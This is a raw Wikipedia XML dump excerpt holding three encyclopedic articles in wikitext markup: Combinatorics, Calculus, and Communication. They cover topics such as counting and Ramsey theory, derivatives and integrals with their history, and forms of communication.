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      <text xml:space="preserve">'''Combinatorics''' is a branch of [[mathematics]] that studies collections (usually [[finite]]) of objects that satisfy specified criteria. In particular, it is concerned with &quot;counting&quot; the objects in those collections (''enumerative combinatorics''), with deciding when the criteria can be met, with constructing and analyzing objects meeting the criteria (as in ''[[combinatorial design]]s and [[matroid]] theory''), with finding &quot;largest&quot;, &quot;smallest&quot;, or &quot;optimal&quot; objects (''[[extremal combinatorics]]'' and ''[[combinatorial optimization]]''), and with finding [[algebra|algebraic]] structures these objects may have (''[[algebraic combinatorics]]'').  

==Overview and history==
Combinatorics is as much about problem solving as theory building, though it has developed powerful theoretical methods, especially since the later twentieth century.  Much of combinatorics is about [[graph theory|graphs]], to whose study all types of combinatorics can contribute.

An example of a combinatorial question is the following: What is the number of possible orderings of a deck of 52 playing cards?  That number equals 52! (i.e., &quot;fifty-two [[factorial]]&quot;).  It may seem surprising that this number, about 8.065817517094 &amp;times; 10&lt;sup&gt;67&lt;/sup&gt;, is so large &amp;mdash;a little bit more than 8 followed by 67 zeros! Comparing that number to some other [[large numbers]], it is greater than the ''square'' of [[Avogadro's number]], 6.022 &amp;times; 10&lt;sup&gt;23&lt;/sup&gt;.  

An example of another kind is this problem: Given a certain number ''n'' of people, is it possible to assign them to sets so that each person is in at least one set, each pair of people are in exactly one set together, every two sets have exactly one person in common, and no set contains all or all but one of the people?  The answer depends on ''n'' and is only partially known to this day.  See &quot;Design theory&quot; below for a partial answer.

Enumerative combinatorics came to prominence because counting configurations is essential to elementary [[probability]], starting with the work of [[Blaise Pascal|Pascal]] and others.  Modern combinatorics began to develop in the late nineteenth century and became a distinguishable field of study in the twentieth century, partly through the publication of the systematic enumerative treatise ''[[Combinatory Analysis]]'' by [[Percy Alexander MacMahon]] in 1915 and the work of [[R.A. Fisher]] in [[design of experiments]] in the [[1920s]].  Two of the most prominent combinatorialists of recent times were the prolific problem-raiser and problem-solver [[Paul Erd&amp;#337;s]], who worked mainly on extremal questions, and [[Gian-Carlo Rota]], who helped to formalize the subject beginning in the [[1960s]], mostly in enumeration and algebraization. The study of how to count objects is sometimes thought of separately as the field of [[enumeration]].

==Enumerative combinatorics==

Calculating the number of ways that certain patterns can be formed is the beginning of combinatorics. 
Let ''S'' be a  [[set]] with ''n'' objects. [[Combination]]s of ''k'' objects from this set ''S'' are [[subset]]s of ''S'' having ''k'' elements each (where the order of listing the elements does not distinguish two subsets). [[Permutation]]s of ''k'' objects from this set ''S'' refer to ''[[sequence]]s'' of ''k'' different elements of ''S'' (where two sequences are considered different if they contain the same elements but in a different order, or if they have a different length). Formulas for the number of [[permutations and combinations]] are readily available and important throughout combinatorics.

More generally, given an infinite collection of finite sets {''S''&lt;sub&gt;''i''&lt;/sub&gt;} typically indexed by the [[natural number]]s, enumerative combinatorics seeks a variety of ways of describing a ''counting function'', ''f''(''n''), which counts the number of objects in ''S''&lt;sub&gt;''n''&lt;/sub&gt; for any ''n''. Although the activity of counting the number of elements in a set is a rather broad [[mathematical problem]], in a combinatorial problem the elements ''S''&lt;sub&gt;''i''&lt;/sub&gt; will usually have a relatively simple combinatorial description, and little additional structure.

The simplest such functions are ''[[closed formula]]s'', which can be expressed as a composition of simple functions like [[factorial]]s, powers, and so on. For instance, and as noted above, the number of possible different orderings of a deck of ''n'' cards is ''f''(''n'') = ''n''!. 

This approach may not always be entirely satisfactory (or practical). For example, let ''f''(''n'') be the number of distinct subsets of the [[integer]]s in the interval [1,''n''] that do not contain two consecutive integers; e.g., with ''n'' = 4, we have the sets {}, {1}, {2}, {3}, {4}, {1,3}, {1,4}, {2,4}, so ''f''(4) = 8. It turns out that ''f''(''n'') is the ''n+2''nd [[Fibonacci number]], ''F''(''n''+2), so it can be expressed in closed form as

:&lt;math&gt;f(n) = \frac{\phi^{n+2}-(1-\phi)^{n+2}}{\sqrt{5}}&lt;/math&gt;

where &lt;math&gt;\phi = (1 + \sqrt 5) / 2&lt;/math&gt;, the [[golden ratio]]. However, given that we are looking at a counting function, the presence of the &lt;math&gt;\sqrt 5&lt;/math&gt; in the result may be considered unaesthetic. As an alternative that shows more clearly why ''f''(''n'') is a positive integer, ''f''(''n'') may be expressed by the ''[[recurrence relation]]''
:&lt;math&gt;f(n) = f(n-1) + f(n-2)&lt;/math&gt;
with the initial conditions &lt;math&gt;f(1)=1&lt;/math&gt; and &lt;math&gt;f(2)=1&lt;/math&gt;.


Another approach is to find an ''[[asymptotic formula]]''
:&lt;math&gt;f(n) \sim g(n)&lt;/math&gt; 
where ''g''(''n'') is a &quot;familiar&quot; function, and where ''f''(''n'') approaches ''g''(''n'') as ''n'' approaches [[infinity]]. In some cases, a simple asymptotic function may be preferable to a horribly complicated closed formula that yields no insight to the behaviour of the counted objects. In the above example, an asymptotic formula would be

:&lt;math&gt;f(n) \sim \frac{\phi^{n+2}}{\sqrt{5}}&lt;/math&gt;

as ''n'' becomes large.

Finally, ''f''(''n'') may be expressed by a [[formal power series]], called its ''[[generating function]]'', which is most commonly either the [[ordinary generating function]]

:&lt;math&gt;\sum_{n\ge 0} f(n) x^n&lt;/math&gt;

or the [[exponential generating function]]

:&lt;math&gt;\sum_{n \ge 0} f(n) \frac{x^n}{n!}&lt;/math&gt;.

Once determined, the generating function may allow one to extract all the information given by the previous approaches. In addition, the various natural operations on generating functions such as addition, multiplication, differentiation, etc., have a combinatorial significance; this allows one to extend results from one combinatorial problem in order to solve others.

==Structural combinatorics==

There are many combinatorial patterns and [[theorem]]s related to the structure of combinatoric sets.  These often focus on a [[partition of a set|partition]] or [[ordered partition|ordered]] partition of a set. See the [[List of partition topics]] for an expanded list of related topics or the [[List of combinatorics topics]] for a more general listing.  Some of the more notable results are highlighted below.

===[[block design|Design theory]]===

A simple result in this area of combinatorics is that the problem of forming sets, described in the introduction, has a solution only if ''n'' has the form ''q''&lt;sup&gt;2&lt;/sup&gt; + ''q'' + 1.  It is less simple to prove that a solution exists if ''q'' is a [[prime power]], may exist if ''q'' is a sum of two [[square numbers]], but  cannot exist for any other positive integer ''q''.  This last result, the [[Bruck-Ryser theorem]], is proved by a combination of constructive methods based on [[finite field]]s and an application of [[quadratic form]]s.

When such a structure does exist, it is called a finite [[projective plane]]; thus showing how [[finite geometry]] and combinatorics intersect.

===[[Ramsey theory]]===

[[Frank P. Ramsey]] proved that, given any group of six people, it is always the case that one can find three people out of this group that either all know each other, or all  do not know each other.

The proof is a short [[proof by contradiction]]: suppose the claim is false.  This means that we can have a group of six people such that whenever we look at any three of the six, there are at least two people among these three that know each other and at least two who do not know each other.  Consider now one person among the six; call this person &quot;A.&quot;  Now, among the remaining five people, there must be at least three who either all know A or all do not know A--this is clear since the negation of one condition immediately implies the other condition.  Assume first former condition: that at least three of the remaining five know A.  Among those three people, at least two of them must know each other, since otherwise we would have three people who all don't know each other, contrary to our hypothesis.  But then we have two people who know each other, and know A, and so these two people, along with A, constitute a group of three people among the six who all know each other.  This contradicts our initial hypothesis.  Assuming that other condition--that three of the remaining five do not know A--results in a similar contradiction. 

This is a special case of [[Ramsey's theorem]].

The idea of finding order in random configurations gives rise to [[Ramsey theory]].  Essentially this theory says that any [[sufficiently large]] configuration will contain at least one instance of some other type of configuration.

===[[Matroid theory]]===

This part of combinatorics abstracts part of [[geometry]].  It studies the properties
of sets (usually, finite sets) of vectors in a [[vector space]] that do not depend on the particular coefficients in a [[linear independence|linear dependence]] relation.  Not only the structure but also enumerative properties belong to matroid theory.  

For instance, given a set of ''n'' vectors in [[Euclidean space]], what is the largest number of [[plane]]s they can generate?  (Answer: the [[binomial coefficient]] ''C''(''n'',3).)  Is there a set that generates exactly one less plane?  (No, in almost all cases.)  These are extremal questions in geometry.

==Extremal combinatorics==

Many extremal questions deal with [[set system]]s.  A simple example is the following: what is the largest number of subsets of an ''n''-element set one can have, if no two of the subsets are disjoint?  Answer: half the total number of subsets.  Proof:  Call the ''n''-element set ''S''.  Between any subset ''T'' and its [[complement]] ''S'' &amp;minus; ''T'', at most one can be chosen.  This proves the maximum number of chosen subsets is not greater than half the number of subsets.  To show one can attain half the number, pick one element ''x'' of ''S'' and choose all the subsets that contain ''x''.  

A more difficult problem is to characterize the extremal solutions; in this case, to show that no other choice of subsets can attain the maximum number while satisfying the requirement.

Often it is too hard even to find the extremal answer ''f''(''n'') exactly and one can only give an [[asymptotic]] estimate.
==See also==

* [[Permutations and combinations]]
* [[Combinatorial principles]]
* [[Inclusion-exclusion principle]]
* [[Method of distinguished element]]
* [[List of publications in mathematics#Combinatorics| Important publications in combinatorics]]
* [[List of combinatorics topics]]
* [[Musical set theory]]
* [[Combinatorial chemistry]]

==References==

* Graham, R.L., Groetschel M., and Lovász L., eds. (1996). ''Handbook of Combinatorics'', Volumes 1 and 2.  Elsevier (North-Holland), Amsterdam, and MIT Press, Cambridge, Mass. ISBN 0-26207169-X .
* [[Richard P. Stanley|Stanley, Richard P.]] (1997, 1999).  [http://www-math.mit.edu/~rstan/ec/ ''Enumerative Combinatorics'', Volumes 1 and 2]. Cambridge University Press.  ISBN 0-521-55309-1, 0-521-56069-1.
* van Lint, J.H., and Wilson, R.M. (2001).  ''A Course in Combinatorics'', 2nd Edition.  Cambridge University Press.  ISBN 0-521-80340-3.

[[Category:Combinatorics]]
[[Category:Discrete mathematics]]
{{Mathematics-footer}}

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      <text xml:space="preserve">:''For other uses of the term calculus see [[calculus (disambiguation)]]''
{{Calculus}}

'''Integral and differential calculus''' is a central branch of [[mathematics]], developed from [[algebra]] and [[geometry]].  The word &quot;calculus&quot; stems from the nascent development of mathematics:  the early Greeks used pebbles arranged in patterns to learn [[arithmetic]] and [[geometry]], and the Latin word for &quot;pebble&quot; is &quot;calculus&quot;, a diminutive of ''calx'' (genitive ''calcis'') meaning &quot;limestone&quot;.
Calculus is built on two major complementary ideas.  The first is '''[[differential calculus]]''', which studies the rate of change in one quantity relative to the rate of change in another quantity.  This can be illustrated by the [[slope]] of a line.  The second is '''[[integral calculus]]''', which studies the accumulation of quantities, such as areas under a [[curve]], linear [[distance]] traveled, or [[volume]] displaced.  These two processes act inversely to each other, in a sense made specific by the [[fundamental theorem of calculus]]. 

Examples of typical differential calculus problems include:

*finding the [[acceleration]] and speed of a free-falling body at a particular moment

*finding the optimal number of units a company should produce to maximize their profit. 

Examples of integral calculus problems include: 

*finding the amount of water pumped by a pump with a set power input but varying conditions of pumping losses and pressure

*finding the amount of parking lot plowed by a snowplow of given power with varying rates of snowfall.

Today, calculus is used in every branch of the [[physical science]]s, in [[computer science]], in [[statistics]], and in [[engineering]]; in [[economics]], [[business]], and [[medicine]]; and as a general method whenever the goal is an [[Optimization (mathematics)|optimum]] solution to a problem that can be given in mathematical form. From a mathematical standpoint, it is used in conjunction with [[limit]]s which, roughly speaking, allow the control or accurate description of an otherwise uncontrollable output.

==Differential calculus==
{{main|Derivative}}
The derivative measures the sensitivity of one variable to small changes in another variable. Consider the formula:
:&lt;math&gt;\mathrm{Speed} = \frac{\mathrm{Distance}}{\mathrm{Time}}&lt;/math&gt;
for an object moving at constant speed.  The speed of a car, as measured by the [[speedometer]], is the derivative of the car's distance traveled, as measured by the [[odometer]], as a function of time.  Calculus is a mathematical tool for dealing with this complex but natural and familiar situation.  

Differential calculus can be used to determine the instantaneous speed at any given instant, while the formula &quot;speed = distance divided by time&quot; only gives the average speed, and cannot be applied to an instant in time because it then gives an undefined quotient [[zero divided by zero]].  Calculus avoids division by zero using the [[Limit (mathematics)|limit]] which, roughly speaking, is a method of controlling an otherwise uncontrollable output, such as division by zero or multiplication by infinity. More formally, differential calculus defines the instantaneous rate of change (the '''derivative''') of a [[mathematical function]]'s [[Value (mathematics)|value]], with respect to changes of the [[variable]]. The derivative is defined as a limit of a [[difference quotient]].

The derivative of a function, if it exists, gives information about its graph.  It is useful for finding optimum solutions to problems, called [[maxima and minima]] of a function.  It is proved mathematically that these optimum solutions exist either where the graph is flat, so that the slope is zero; or where the graph has a sharp turn ([[cusp]]) where the derivative does not exist; or at the endpoints of the graph. Another application of differential calculus is [[Newton's method]], a powerful equation solving [[algorithm]]. Differential calculus has been applied to many questions that were first formulated in other areas, such as business or medicine. 

The derivative lies at the heart of the [[physical science]]s. Newton's law of motion, Force&amp;nbsp;=&amp;nbsp;Mass&amp;nbsp;×&amp;nbsp;Acceleration, involves calculus because acceleration is the derivative of the velocity.   (See [[Differential equation]].) Maxwell's theory of [[electromagnetism]] and [[Albert Einstein|Einstein]]'s theory of [[general relativity]] are also expressed in the language of differential calculus, as is the basic theory of [[electrical circuit]]s and much of [[engineering]]. It is also applied to problems in [[biology]], [[economics]], and many other areas.

The derivative of a function ''y = f(x)'' with respect to ''x'' is usually expressed as either ''y'' ′ (read &quot;''y''-prime&quot;) or as ''f ' (x)'' or as

:&lt;math&gt;\frac{dy}{dx}&lt;/math&gt;.

==Integral calculus==
{{main|Integral}}
There are two types of integral in calculus, the indefinite and the definite.  The indefinite integral is simply the antiderivative.  That is, F is an antiderivative of f when f is a derivative of F.  (This use of capital letters and lower case letters is common in calculus.  The lower case letter represents the derivative of the capital letter.)

The definite integral evaluates the cumulative effect of many small changes in a quantity.  The simplest instance is the formula 
:&lt;math&gt;\mathrm{Distance} = \mathrm{Speed} \cdot \mathrm{Time}&lt;/math&gt;
for calculating the distance a car moves during a period of time when it is traveling at ''constant'' speed. The distance moved is the cumulative effect of the small distances moved in each instant.  Calculus is also able to deal with the natural situation in which the car moves with changing speed.

Integral calculus determines the exact distance traveled during an interval of time by creating a series of better and better [[approximation]]s, called ''[[Riemann sum]]s'', that approach the exact distance as a limit. More formally, we say that the definite integral of a function on an interval is a [[limit (mathematics)|limit]] of Riemann sum approximations.

Applications of integral calculus arise whenever the problem is to compute a number that is in principle (approximately) equal to the sum of a large number of small quantities. The classic geometric application is to area computations. In principle, the area of a region can be approximated by chopping it up into many pieces (typically [[rectangle]]s, or, in [[coordinates|polar coordinates]], [[circular sector]]s), and then adding the areas of those pieces. The length of an [[circle|arc]], the [[Area (geometry)|area of a surface]], and the volume of a solid can also be expressed as definite integrals. [[Probability]], the basis for [[statistics]], provides another important application of integral calculus.

The symbol of integration is '''∫''', a stretched ''s'' (which stands for &quot;sum&quot;).  The precise meanings of expressions involving integrals can be found in the main article [[Integral]]. The definite integral, written as:

:&lt;math&gt;\int_a^b f(x)\, dx&lt;/math&gt;

is read &quot;the integral from a to b of f(x) dx&quot;.

==Foundations==
There is more than one [[rigorous]] approach to the foundation of calculus. One is via the concept of [[limit (mathematics)|limits]] defined on the [[continuum (mathematics)|continuum]] of [[real number]]s. An alternative is [[nonstandard analysis]], in which the real number system is augmented with [[infinitesimal]] and [[infinite]] numbers. The tools of calculus include techniques associated with [[elementary algebra]], and [[mathematical induction]]. The modern study of the foundations of calculus is known as [[real analysis]].   This includes full definitions and proofs of the theorems of calculus. It also provides generalisations such as [[measure theory]] and [[distribution theory]].

==Fundamental theorem of calculus==
The [[fundamental theorem of calculus]] states that differentiation and integration are, in a certain sense, inverse operations. More precisely, if one defines one function as the integral of another function, then differentiating the newly defined function returns the function you started with.  Furthermore, if you want to find the value of a definite integral, you usually do so by evaluating an antiderivative.

Here is the mathematical formulation of the Fundamental Theorem of Calculus: If a function ''f'' is [[continuous function|continuous]] on the interval [''a'', ''b''] and if ''F'' is a function whose derivative is ''f'' on the interval [''a'', ''b''], then    
    
:&lt;math&gt;\int_{a}^{b} f(x)\,dx = F(b) - F(a).&lt;/math&gt;   
    
:Also, for every ''x'' in the interval [''a'', ''b''],     
    
:&lt;math&gt;\frac{d}{dx}\int_a^x f(t)\, dt = f(x).&lt;/math&gt;

This realization, made by both [[Isaac Newton | Newton]] and [[Leibniz]], was key to the massive proliferation of analytic results after their work became known. The fundamental theorem provides an algebraic method of computing many definite integrals&amp;mdash;without performing limit processes&amp;mdash;by finding formulas for [[antiderivative]]s. It is also a prototype solution of a [[differential equation]]. Differential equations relate an unknown function to its derivatives, and are ubiquitous in the sciences.

==Applications==
The development and use of calculus has had wide reaching effects on nearly all areas of modern living. It underlies nearly all of the [[science]]s, especially [[physics]]. Virtually all modern developments such as [[building]] techniques, [[aviation]], and other [[technology|technologies]] make fundamental use of calculus. Many algebraic formulas now used for ballistics, heating and cooling, and other practical sciences were worked out through the use of calculus. In a handbook, an algebraic formula based on calculus methods may be applied without knowing its origins. The success of calculus has been extended over time to [[differential equation]]s, [[vector calculus]], [[calculus of variations]], [[complex analysis]], and [[differential topology]].

==History==
{{main|History of calculus}}
The origins of integral calculus are generally regarded as going back no farther than to the time of the [[Ancient Greece|ancient Greeks]], circa 200 BC, though there is some evidence that the [[Ancient Egypt|ancient Egyptians]] may have had some hint of the idea at a much earlier date.  (See [[Moscow and Rhind Mathematical Papyri|Moscow Mathematical Papyrus]].)  The [[Hellenic]] mathematician [[Eudoxus of Cnidus|Eudoxus]] is generally credited with the [[method of exhaustion]], which made it possible to compute the areas of regions and the volumes of solids.  [[Archimedes]] developed this method further, inventing heuristic methods which resemble [[integral calculus]]. After him, the study of calculus did not advance appreciably for over 500 years.{{rf|1|Archimedes}}

In [[Indian mathematics|India]], the mathematician [[Aryabhata]] in [[499]] made use of the [[infinitesimal]] and discovered the [[differential equation]]. Manjula in the 10th century, elaborated on Aryabhata's differential equations in a commentary. [[Bhaskara]] in the 12th century, developed a number of ideas that are foundational to the development of modern calculus, including the statement of the theorem now known as &quot;[[Rolle's theorem]]&quot;, which is a special case of one of the most important theorems in analysis, the [[mean value theorem]]. He was also the first to develop the [[derivative]] and [[differential]] coefficient, and hence the first to conceive of [[differential calculus]]. Using these concepts, he found the differentials of the [[sine]] function and [[velocity]] of [[Earth]]'s elliptical orbit around the [[Sun]].

The 14th century Indian mathematician-astronomer [[Madhava of Sangamagrama|Madhava]], along with other mathematician-astronomers of the [[Kerala School]], studied [[mathematical analysis]], [[infinite series]], [[power series]], [[Taylor series]], [[trigonometric]] series, [[convergence]], [[differentiation]], [[integration]], term by term [[integration]], numerical integration by means of infinite series, iterative methods for solutions of non-linear equations, tests of convergence, the concept that the area under a curve is its [[integral]], and the mean value theorem, which was later essential in proving the [[fundamental theorem of calculus]] and remains most important result in differential calculus. [[Jyeshtadeva]] of the Kerala School wrote the first differential calculus text, the ''Yuktibhasa'', which also includes discoveries of integral calculus, and explores methods and ideas of calculus that were not discovered in Europe until the 17th, 18th and even 19th centuries. There is some evidence however, that these developments of calculus were [[Kerala School#Possible transmission of Keralese mathematics to Europe|transmitted to Europe]] via traders and [[Jesuit]] missionaries.

[[Image:GodfreyKneller-IsaacNewton-1689.jpg|thumb|150px|left|[[Sir Isaac Newton]]]]Calculus started making great strides in Europe towards the end of the [[early modern period]] and into the first years of the [[eighteenth century]]. This was a time of major innovation in Europe, making accessible answers to old questions. Calculus provided a new method in [[mathematical physics]]. Several mathematicians contributed to this breakthrough, notably [[John Wallis]] and [[Isaac Barrow]].  [[James Gregory]] proved a special case of the [[Fundamental theorem of calculus|second fundamental theorem of calculus]] in 1668. [[Gottfried Leibniz|Leibniz]] and [[Isaac Newton|Newton]] pulled these ideas together into a coherent whole and they are usually credited with the probably independent and nearly simultaneous &quot;invention&quot; of calculus. Newton was the first to apply calculus to general [[physics]] and Leibniz developed much of the notation used in calculus today; he often spent days determining appropriate symbols for concepts. It was generations after Newton and Leibniz that [[Cauchy]], [[Riemann]], and other mathematicians finally put calculus on a rigorous basis, with the definition of the [[limit (mathematics)|limit]], and the formal definition of the [[Riemann integral]].

The fundamental insight that both Newton and Leibniz had was not stating the definition of the derivative or integral.  Instead, it was the statement and geometric proof, using [[Descartes]] analytic geometry of the first and second fundamental theorems of calculus.  These theorems have proven to be absolutely indispensable in the development of modern mathematics and physics.

When Newton and Leibniz first published their results, there was some controversy over whether Leibniz's work was independent of Newton.  While Newton derived his results years before Leibniz, it was only when Leibniz was nearing publication of his derivation that Newton published.  Later, Newton would claim that Leibniz got the idea from Newton's notes on the subject.  This controversy between Leibniz and Newton was unfortunate in that it divided English-speaking mathematicians from those in Europe for many years, which slowed the development of [[mathematical analysis]]. [[Newton's notation for differentiation|Newton's terminology and notation]] was retained in British usage until the early 19th century, long after it had been replaced by [[Leibniz's notation for differentiation|Leibniz's notation]] everywhere else.  It was the work of the [[Analytical Society]] that successfully saw the introduction of Leibniz's notation in Great Britain.  Today, both Newton and Leibniz are given equal credit for the development of calculus. Some others who contributed ideas important to the development of calculus are [[René Descartes|Descartes]], [[Isaac Barrow|Barrow]], [[Pierre de Fermat|de Fermat]], [[Christian Huygens|Huygens]], and [[John Wallis|Wallis]].

==Note==
{{ent|1|Archimedes}} Archimedes, ''Method'', in ''The Works of Archimedes'' ISBN 0521661609

==See also==
* [[Basic calculus equations and formulas]]
* [[Calculus with polynomials]]
* [[Differential geometry]]
* [[List of calculus topics]]
* [[List of important publications in mathematics#Calculus|Important publications in calculus]]
* [[Mathematics]]
* [[Nonstandard analysis]]
* [[Precalculus]] ([[mathematical education]])

==References==
* Tom M Apostol.  (1967) ISBN 0-471-00005-1 and ISBN 0-471-00007-8 ''Calculus'', 2nd Ed. Wiley.
* Archimedes.  ''Method'', in ''The Works of Archimedes'' ISBN 0521661609
* Carl B. Boyer. (1949) ''The History of the Calculus and its Conceptual Development''.
* James M. Henle and Eugene M. Kleinberg: ''Infinitesimal Calculus'', Dover Publications 2003.  ISBN 0486428869.  Uses [[nonstandard analysis]] and [[hyperreal number|hyperreal]] infinitesimals

==Further reading==
* Robert A. Adams. (1999) ISBN 0-201-39607-6 ''Calculus: A complete course''.
* Albers, Donald J.; Richard D. Anderson and Don O. Loftsgaarden, ed. (1986) ''Undergraduate Programs in the Mathematics and Computer Sciences: The 1985-1986 Survey'', Mathematical Association of America No. 7,  
* John L. Bell: ''A Primer of Infinitesimal Analysis'', Cambridge University Press, 1998.  ISBN 0521624010.  Uses [[synthetic differential geometry]] and nilpotent infinitesimals
* Leonid P. Lebedev and Michael J. Cloud: &quot;Approximating Perfection: a Mathematician's Journey into the World of Mechanics, Ch. 1: The Tools of Calculus&quot;, Princeton Univ. Press, 2004
* [[Cliff Pickover]]. (2003) ISBN 0-471-26987-5 ''Calculus and Pizza: A Math Cookbook for the Hungry Mind''. 
* [[Michael Spivak]].  (Sept 1994) ISBN 0914098896'' Calculus''. Publish or Perish publishing.
* [[Silvanus P. Thompson]] and [[Martin Gardner]]. (1998) ISBN 0312185480 ''Calculus Made Easy''.
* [[Mathematical Association of America]]. (1988) ''Calculus for a New Century; A Pump, Not a Filter'', The Association, Stony Brook, NY. ED 300 252.

==External links==
===Books===
{{book}}
* Keisler, H. Jerome., [http://www.math.wisc.edu/~keisler/calc.html Elementary Calculus: An Approach Using Infinitesimals], University of Wisconsin
* Stroyan, K.D., [http://www.math.uiowa.edu/~stroyan/InfsmlCalculus/InfsmlCalc.htm A Brief Introduction to Infinitesimal Calculus], University of Iowa
* Mauch, Sean, [http://www.its.caltech.edu/~sean/book/unabridged.html ''Sean's Applied Math Book''], CIT, an online textbook that includes a complete introduction to calculus
* Crowell, Benjamin, [http://www.lightandmatter.com/calc/ ''Calculus''], Fullerton College, an online textbook
* Garrett, Paul, [http://www.math.umn.edu/~garrett/calculus/ Notes on First-Year Calculus]
* Hussain, Faraz, [http://www.understandingcalculus.com Understanding Calculus], a complete online book with a conceptual focus

===Web pages===
*[http://mathworld.wolfram.com/Calculus.html MathWorld general article on calculus]
*[http://www-groups.dcs.st-and.ac.uk/~history/Projects/Pearce/Chapters/Ch9_3.html Madhava of Sangamagramma ]
*[http://integrals.wolfram.com/ Online Integrator by Mathematica]
*[http://www.ericdigests.org/pre-9217/calculus.htm The Role of Calculus in College Mathematics]
*[http://www-groups.dcs.st-and.ac.uk/~history/Projects/Pearce/Chapters/Ch8_5.html Work of Bhaskaracharya II]
*[http://ocw.mit.edu/OcwWeb/Mathematics/index.htm Calculus on MIT OpenCourseWare]

[[Category:Calculus|*]]

[[af:Analise]]
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[[he:חשבון אינפיניטסימלי]]
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[[ja:微分積分学]]
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  <page>
    <title>Communication</title>
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      <comment>Revert to revision 40388961 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Communication''' is the process of exchanging [[information]], usually via a common [[Communications protocol|protocol]]. &quot;[[Communication studies]]&quot; is the [[academic discipline]] focused on communication forms, processes and meanings, including [[speech]], interpersonal and organizational communication. &quot;[[Mass communication]]&quot; is a more specialized academic discipline focused on the institutions, practice and effects of [[journalism]], [[broadcasting]], [[advertising]], [[public relations]] and related mediated communication directed at a large, undifferentiated or segmented audience.

==Forms and components of human communication==
[[Human]]s communicate in order to share knowledge and experiences, give or receive orders, or cooperate. Common forms of human communication include [[sign language]], [[speech|speaking]], [[writing]], [[gesture]]s, and [[broadcasting]]. Communication can be interactive, [[transactive communication|transactive]], intentional, or unintentional; it can also be [[verbal communication|verbal]] or [[nonverbal communication|nonverbal]]. Communication varies considerably in form and style when considering scale. Internal communication, within oneself, is [[intrapersonal communication|intrapersonal]] while communication between two individuals is [[interpersonal communication|interpersonal]]. At larger scales of communication both the system of communication and media of communication change. [[Small group]] communication takes place in settings of between three and 12 individuals creating a different set of interactions than [[large group|large groups]] such as [[organizational communication|organizational communication]] in settings like companies or communities. At the largest scales [[mass communication]] describes communication to huge numbers of individuals through [[mass media]]. Communication also has a time component, being either [[synchronous]] or [[asynchronous]].

There are a number of [[theories of communication]] that attempt to explain human communication, and various theories relating to human communication draw upon different core philosophies.

For instance, some theories presuppose communication as a five-step process that entails a sender's creation (or encoding) of a message, and the message's transmission through a [[Communications channel|channel]] to another individual, organization or a group of people. This message is received and then interpreted. Finally this message is responded to, which completes the process of communication.  This model of the communcation process is based on a model of signal transmission known as the [[Shannon-Weaver model]].

Yet another communication model can be seen in the work of [[Roman Jakobson]].  Six elements and their correlative functions comprise this particular model.

== Communication technology ==
In [[telecommunications]], the first transatlantic two-way [[radio]] broadcast occurred on [[July 25]] [[1920]].

As the technology evolved, communication protocol also had to evolve; for example, [[Thomas Edison]] had to discover that ''hello'' was the least ambiguous greeting by voice over a distance; previous greetings such as ''hail'' tended to be lost or garbled in the transmission.

As regards human communication these diverse fields can be divided into those which cultivate a thoughtful exchange between a small number of people ([[debate]], [[talk radio]], [[e-mail]], [[personal letter]]s) on the one hand; and those which disseminate broadly a simple message ([[Public relations]], [[television]], [[film|cinema]]).

Our indebtedness to the [[Ancient Romans]] in the field of communication does not end with the Latin root &quot;communicare&quot;. They devised what might be described as the first real mail or [[postal system]] in order to centralize control of the [[Roman Empire|empire]] from [[Rome]]. This allowed Rome to gather knowledge about events in its many widespread provinces.

As the Romans well knew, communication is as much about taking in towards the centre as it is about putting out towards the extremes.

In [[virtual management]] an important issue is [[computer-mediated communication]].

The view people take toward communication is changing, as new technologies change the way they communicate and organize. In fact, it is the changing technology of communication that tends to make the most frequent and widespread changes in a society - take for example the rise of [[web cam chat]] and other network-based visual communications between distant parties. The latest [[trend]] in communication, decentralized [[personal networking]], is termed [[Smart mob|smartmobbing]].

==Communication barriers==
[[Anxiety]] associated with communication is known as ''communication apprehension''. Such anxiety tends to be influenced by one's [[self-concept]]. Besides apprehension, communication can be impaired via [[bypassing]], [[indiscrimination]], and [[polarization (psychology)|polarization]]. Failing to share a common [[language]] is also an important barrier in many parts of the world.

Apart from that there may be following barriers in communication
# Language
# Time lag
# Politics
# Physical (such as background noise)
# Emotional

== Examples of communication ==
* [[jungle drums]]
* [[smoke signals]]
* Non Verbal Acts: [[sign language|hand signals]] and Body Language 
* [[semaphores]] (use of devices to increase the distance &quot;hand&quot; signals can be seen from by increasing the size of the movable object)
* [[vocalization]] (also called ''[[speech]]'' when occurring between [[human]]s)
* [[territorial marking]] (animals such as dogs - stay away from my territory)
* [[Pheromones]] communicate (amongst other things) &quot;I'm ready to mate&quot; - well known example is moths where the pheromones are put into traps to attract them
* Gold-plated disk (sent on [[Voyager 1]] into interstellar space)
* [[writing]]
* [[telecommunications]] - use of technology to aid and enhance distance communications
**[[Digital]] telecommunications
***[[encoding]] and [[decoding]]
***[[data compression|compression]] and [[encryption]] (as they relate to enhancing or specifying communications) for example the use of encryption to turn a one to many into a one to one communication.
***[[Digital Transmission Media]] including [[telegraphy]] and [[computer network]]
**[[analog (signal)|analog]] telecommunications
***[[telephone]]
***[[radio]]
***[[Television|TV]]
***[[Photography]]
***[[Art]] (including [[Theatre Arts]])

== References ==
[1] Dance, Frank. &quot;The 'concept' of communication. ''Journal of Communication, 20'', 201-210 (1970).

==See also==
* [[Knowledge visualization]]
* [[Communication basic topics]]

* [[Communications satellite]]
* [[Computer network]]
* [[Diffusion of innovations]]
* [[Ethernet]]
* [[Global telephone network]] - also known as the Public Switched Telephone Network [[PSTN]]
* [[Information theory]]
* [[Internet]]
* [[Journalism]]
* [[Linguistics]]
* [[Mail]]
* [[Mass media]]
* [[Media studies]]
* [[Neuro-linguistic programming]]
* [[Radioteletype]]
* [[Rhetorical criticism]]
* [[Semaphore]]
* [[Social software]]
* [[Telegraphy]]
* [[Telephony]]
* [[Toastmasters International]]
* [[Vocalization]]
* [[Surveillance]]
* [[Traffic analysis]]

==External links==
* [http://www.americancomm.org American Communication Association]
* [http://www.stikom-bdg.com School of Communication]
* [http://www.onethousandandone.com.au Unique and memorable communications]
* [http://www.hains.net/communication/studying.html Studying Communication: An introduction to the field, by R.C. Hains]
*[http://www.whatsnextnetwork.com/technology/index.php?cat=32 Innovative Communication Technologies]
* [http://all-communication.info/ Communication articles]
* [http://www.uiowa.edu/~commstud/resources/ University of Iowa - Communication Studies Resources]
* [http://www.bizcom-pro.info/ A Weblog about Business Communication]
* [http://www.unm.edu/~emmons/communications.html UNM General Library Communication Studies]
* [http://www.teleclick.ca/ Communications Technology News]



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[[eo:Komunikado]]
[[fa:ارتباطات]]
